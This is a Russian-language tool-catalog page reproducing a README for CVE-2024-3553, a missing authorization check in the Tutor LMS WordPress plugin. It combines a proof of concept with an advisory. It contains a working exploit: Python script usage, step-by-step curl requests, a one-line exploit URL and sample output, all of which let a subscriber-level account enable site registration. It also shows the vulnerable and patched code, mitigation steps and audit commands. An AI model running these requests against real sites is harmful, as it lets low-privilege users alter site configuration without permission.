Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-3553 — CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration | Kitploit
Инструменты/GitHubGitHub/randomrobbiebf/cve-2024-3553
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubrandomrobbiebf/cve-2024-3553

CVE-2024-3553

CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration

Репозиторий
7 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-3553

Tutor LMS <= 2.6.2 - Отсутствие проверки прав доступа, позволяющее неавторизованное ограниченное обновление опций

Плагин Tutor LMS – eLearning and online course solution для WordPress уязвим к несанкционированной модификации данных из-за отсутствия проверки прав доступа в функции hide_notices() во всех версиях до 2.6.2 включительно. Это позволяет аутентифицированным атакующим (включая пользователей с низкими привилегиями, таких как подписчики) включать регистрацию пользователей на сайтах, где она могла быть отключена администраторами.

Детали

  • Тип: плагин
  • Slug: tutor
  • Затронутая версия: 2.6.2
  • Оценка CVSS: 6.5
  • Уровень CVSS: Средний
  • Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
  • CVE: CVE-2024-3553
  • Статус: Активен

POC

Автоматическая эксплуатация

Полный эксплойт на Python доступен: exploit-cve-2024-3553-v2.py

root@kitploit:~
# Полная автоматическая эксплуатация
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123

# Только проверка статуса регистрации
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only

Ручная эксплуатация

Предварительные требования:

  • Любая аутентифицированная учётная запись (подписчик, автор и т.д.)
  • Плагин Tutor LMS установлен и активирован

Шаг 1: Войти как пользователь с низкими привилегиями

root@kitploit:~
# Войти как подписчик или любой аутентифицированный пользователь
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
  https://target.com/wp-login.php

Шаг 2: Извлечь nonce из панели администратора

root@kitploit:~
# Любой аутентифицированный пользователь может получить доступ к /wp-admin/ (даже подписчики)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1

Шаг 3: Выполнить эксплойт

root@kitploit:~
# Отправить запрос на включение регистрации пользователей
curl -b cookies.txt \
  "https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"

Шаг 4: Проверить успешность

root@kitploit:~
# Проверить, включена ли теперь регистрация
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Регистрация ВКЛЮЧЕНА" || echo "Регистрация ОТКЛЮЧЕНА"

Односрочная эксплуатация

root@kitploit:~
# Любой аутентифицированный пользователь может просто посетить:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>

Пример вывода

root@kitploit:~
======================================================================
CVE-2024-3553 Эксплойт - Отсутствие авторизации в Tutor LMS
Цель: https://target.com
======================================================================

[*] Проверка текущего статуса регистрации...
[+] Регистрация в настоящее время ОТКЛЮЧЕНА

[*] Попытка входа как: subscriber
[+] Успешно вошли как: subscriber

[*] Шаг 2: Извлечение nonce из панели администратора...
[+] Найден nonce: abc123def456

[*] Шаг 3: Выполнение эксплойта для включения регистрации пользователей...
[*] Цель: https://target.com
[*] Используется nonce: abc123def456
[*] URL эксплойта: https://target.com/wp-admin/index.php
[*] Параметры: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Статус ответа: 200
[+] Запрос эксплойта успешно отправлен!

[*] Шаг 4: Проверка успешности эксплуатации...
[+] Регистрация в настоящее время ВКЛЮЧЕНА

======================================================================
[!] ЭКСПЛУАТАЦИЯ УСПЕШНА!
[!] Регистрация пользователей теперь ВКЛЮЧЕНА
[!]
[!] Воздействие: Атакующий с учётной записью с низкими привилегиями (подписчик)
[!] смог включить регистрацию пользователей на сайте, где она была
[!] отключена. Это может позволить создание дополнительных учётных записей,
[!] потенциально ведущее к спаму или несанкционированному доступу.
======================================================================

Уязвимый код

Файл: /classes/User.php (строки ~800-815)

root@kitploit:~
public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // CRITICAL FLAW: is_admin() only checks if in admin area, NOT user role!
    if ( is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            // NO CAPABILITY CHECK - Any authenticated user can execute this!
            update_option( 'users_can_register', 1 );
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

Ключевые точки уязвимости:

  1. is_admin() проверяет только то, что запрос направлен к странице администратора, НЕ то, что пользователь является администратором
  2. Любой аутентифицированный пользователь может получить доступ к /wp-admin/ (даже подписчики)
  3. Проверка nonce подтверждает, что запрос является преднамеренным, НО не проверяет наличие соответствующих разрешений
  4. Отсутствует: проверка возможности current_user_can('manage_options')
  5. Это позволяет любому аутентифицированному пользователю изменить опцию users_can_register

Патч (v2.7.0)

Файл: /classes/User.php (исправленная версия)

root@kitploit:~
public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // SECURITY FIX: Added capability check
    $has_manage_cap = current_user_can( 'manage_options' );

    if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            update_option( 'users_can_register', 1 );  // Now properly protected
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

Патч добавляет current_user_can('manage_options') для проверки наличия привилегий администратора у пользователя перед разрешением обновления опции.

Воздействие

  • Средняя серьёзность: Хотя это не приводит к прямой компрометации сайта, уязвимость позволяет:
    • Обходить административные средства управления
    • Включать регистрацию пользователей на защищённых/частных сайтах
    • Потенциальное создание спам-аккаунтов
    • Обход политик безопасности сайта
    • Несанкционированное изменение конфигурации сайта

Анализ первопричины

Распространённая ошибка безопасности в WordPress

Эта уязвимость демонстрирует критическое непонимание функций авторизации WordPress:

НЕПРАВИЛЬНО ❌:

root@kitploit:~
if ( is_admin() ) {
    // Думая, что это означает "пользователь является администратором"
    update_option( 'sensitive_option', $value );
}

ПРАВИЛЬНО ✅:

root@kitploit:~
if ( current_user_can( 'manage_options' ) ) {
    // Действительно проверяет, есть ли у пользователя административные возможности
    update_option( 'sensitive_option', $value );
}

Сравнение функций

Требуется многоуровневая защита

Правильная безопасность WordPress требует нескольких уровней:

  1. Проверка nonce - предотвращает CSRF-атаки
  2. Проверка прав доступа - обеспечивает правильную авторизацию
  3. Очистка входных данных - предотвращает инъекционные атаки

Отсутствие ЛЮБОГО из этих уровней может привести к уязвимостям.

Меры по смягчению

Для администраторов сайтов:

Немедленно обновите Tutor LMS до версии 2.7.0 или новее:

root@kitploit:~
# Через WP-CLI
wp plugin update tutor --version=2.7.0

# Через панель администратора WordPress
Панель управления → Плагины → Найдите "Tutor LMS" → Нажмите "Обновить сейчас"

Проверьте недавние изменения:

root@kitploit:~
# Проверьте, была ли изменена настройка регистрации недавно
wp option get users_can_register

# Просмотрите недавние регистрации пользователей
wp user list --orderby=registered --order=DESC --number=20

Уроки безопасности

Для разработчиков

  1. Никогда не полагайтесь на is_admin() для авторизации
  2. Всегда используйте current_user_can() для проверки прав доступа
  3. Объединяйте проверку nonce С проверкой прав доступа
  4. Следуйте стандартам кодирования WordPress для безопасности
  5. Тестируйте с учётными записями с низкими привилегиями во время разработки

Методология тестирования

При аудите плагинов WordPress на предмет проблем с авторизацией:

root@kitploit:~
# 1. Найдите is_admin() без проверок прав доступа
grep -r "is_admin()" . | grep -v "current_user_can"

# 2. Найдите прямые обновления опций
grep -r "update_option\|add_option" .

# 3. Найдите обработчики AJAX без проверок прав доступа
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"

Ссылки

  • Уведомление Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/f8d4029e-07b0-4ceb-ae6e-11a3f7416ebc?source=cve
  • Патч WordPress Trac: https://plugins.trac.wordpress.org/changeset/3076302/tutor/tags/2.7.0/classes/User.php
  • Справочник по возможностям WordPress: https://wordpress.org/documentation/article/roles-and-capabilities/
  • Запись WPScan: https://wpscan.com/vulnerability/cve-2024-3553

Файлы в этом репозитории

  • README.md - Этот файл
  • exploit-cve-2024-3553.py - Базовый эксплойт на Python
  • exploit-cve-2024-3553-v2.py - Улучшенный эксплойт на Python с подробной документацией
  • manual-exploit-cve-2024-3553.sh - Скрипт ручной эксплуатации
  • test-cve-2024-3553-direct.sh - Скрипт прямой проверки

Обнаружено: 2024-04-15 Раскрыто: 2024-05-20 Исправлено: 2024-05-21 (v2.7.0) Дата тестирования: 2025-12-26 Классификация: Успешная валидация уязвимости

Скачать инструмент
ФункцияЧто на самом деле проверяетИспользование для безопасности
is_admin()Находится ли текущий URL в /wp-admin/❌ НЕ для авторизации
current_user_can()Есть ли у пользователя определённая возможность✅ Правильная авторизация
wp_verify_nonce()Является ли запрос преднамеренным (защита CSRF)✅ Но недостаточно сама по себе